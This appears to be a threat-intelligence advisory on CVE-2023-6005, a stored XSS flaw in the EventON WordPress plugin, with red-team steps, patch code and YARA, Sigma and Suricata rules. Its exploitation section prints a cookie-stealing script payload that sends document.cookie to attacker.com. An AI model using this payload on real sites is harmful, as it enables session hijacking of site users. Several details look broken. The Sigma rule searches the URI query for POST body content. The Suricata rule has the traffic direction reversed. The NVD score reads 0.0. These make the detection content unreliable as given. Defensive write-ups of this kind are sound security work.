CVE-2023-6005

Executive Summary

CVE-2023-6005 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the EventON WordPress plugin, affecting versions before 4.5.5 and 2.2.7. The vulnerability arises from insufficient sanitization and escaping of certain plugin settings, allowing high-privilege users (such as administrators) to inject malicious scripts. This is particularly dangerous in multisite WordPress setups where the unfiltered_html capability is disallowed, as it bypasses standard security controls. Successful exploitation could lead to session hijacking, defacement, or further compromise of the WordPress environment.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The EventON plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of the plugin by checking checksums and ensuring updates are obtained from trusted sources. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Calculated: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must visit affected page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires admin privileges but can affect other users in a multisite environment.

Deep Dive & Mechanics

The vulnerability exists in the settings panel of the EventON plugin. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database. When an administrator saves settings containing malicious JavaScript, the payload is stored and later rendered without proper encoding in the admin dashboard or frontend pages. In a multisite setup, where unfiltered_html is disabled for non-super admins, this flaw allows a site administrator to inject XSS that can affect other administrators or users.

The root cause is the use of insecure functions for outputting settings values, such as echo $value instead of esc_html( $value ) or wp_kses_post( $value ). The stored payload executes in the context of the victim's browser, potentially allowing cookie theft, redirection, or further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (EventON < 4.5.5 / < 2.2.7):

// In settings page rendering
echo '<input type="text" name="evo_settings[' . $key . ']" value="' . $value . '" />';

Patched Code (EventON >= 4.5.5 / >= 2.2.7):

// Properly escaped output
echo '<input type="text" name="evo_settings[' . esc_attr( $key ) . ']" value="' . esc_attr( $value ) . '" />';

The patch introduces esc_attr() to escape attribute values, preventing XSS. Additionally, the plugin now uses wp_kses_post() for rich text fields where HTML is allowed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin access to a WordPress site running EventON < 4.5.5 or < 2.2.7.
• Target user must visit the affected settings page or frontend.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to EventON settings (e.g., /wp-admin/admin.php?page=eventon-settings).
3. Locate a vulnerable input field (e.g., custom CSS or header text).
4. Inject payload: <script>alert(document.cookie)</script> or a more sophisticated payload for session hijacking.
5. Save settings.
6. When another admin or user visits the page, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to EventON settings via audit logs.
• Look for script tags in plugin settings database entries (wp_options table, eventon_settings option).
• Use WAF rules to block common XSS patterns in admin POST requests.

Hardening:

• Apply the patch by updating to version 4.5.5 or 2.2.7.
• Restrict admin access to trusted users only.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a security plugin (e.g., Wordfence) to monitor file changes and block malicious input.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/eventon/eventon.php (check version)
• Database: wp_options table, eventon_settings option containing <script> tags.
• Network: Outbound requests to attacker-controlled domains from admin pages.
• Logs: Unusual POST requests to /wp-admin/admin.php?page=eventon-settings with script content.

Detection Engineering

YARA Rule

rule CVE_2023_6005_EventON_XSS {
    meta:
        description = "Detects EventON plugin files vulnerable to CVE-2023-6005"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6005"
    strings:
        $vuln_code = /echo\s+['\"]<input[^>]*value=['\"].*\$value/
        $patched_code = /esc_attr\(\s*\$value\s*\)/
    condition:
        $vuln_code and not $patched_code
}

Sigma Rule

title: EventON Stored XSS via Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in EventON plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin.php?page=eventon-settings'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin using script tags in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6005 EventON Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php?page=eventon-settings"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update EventON plugin to version 4.5.5 or 2.2.7.
2. Workaround: If unable to update, disable the plugin or restrict admin access to super admins only.
3. Long-term: Implement a Web Application Firewall (WAF) with XSS rules. Regularly audit plugin code for similar vulnerabilities.
4. Monitoring: Enable logging for all admin actions and review for suspicious settings changes.

Valters IT
DevSecOps & Cyber Threat Intelligence